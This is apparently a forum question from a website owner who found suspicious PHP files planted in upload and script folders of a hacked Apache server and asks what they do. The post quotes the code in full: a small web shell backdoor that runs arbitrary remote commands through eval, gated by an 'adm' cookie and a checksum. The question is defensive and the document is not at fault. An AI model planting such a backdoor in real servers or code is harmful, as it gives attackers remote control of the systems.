title: PHP code help - hacked apache server
body: <p>I have discovered the following code appear in two identical .php files on more than one of my server's websites. The files have inconspicuous names such as "reminder.php" (but a different name everytime) and appear in my /scripts/ and /uploads/ folders, sometimes other folders instead.</p>
  
  <p>Their appearance is not entirely random but I don't know enough about Apache servers or PHP to know a) how it got there b) what it does.</p>
  
  <p>Checking the logs they all appeared at similar times and were called once and that is all.</p>
  
  <p>Any help would be greatly appreciated.</p>
  
  <pre><code>if (isset($_COOKIE["adm"])) {
      if (isset($_POST['crc'], $_POST['cmd'])) {
          if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
              eval(gzuncompress(base64_decode($_POST['cmd'])));
          } else 
              echo "repeat_cmd";
      }
  }
  </code></pre>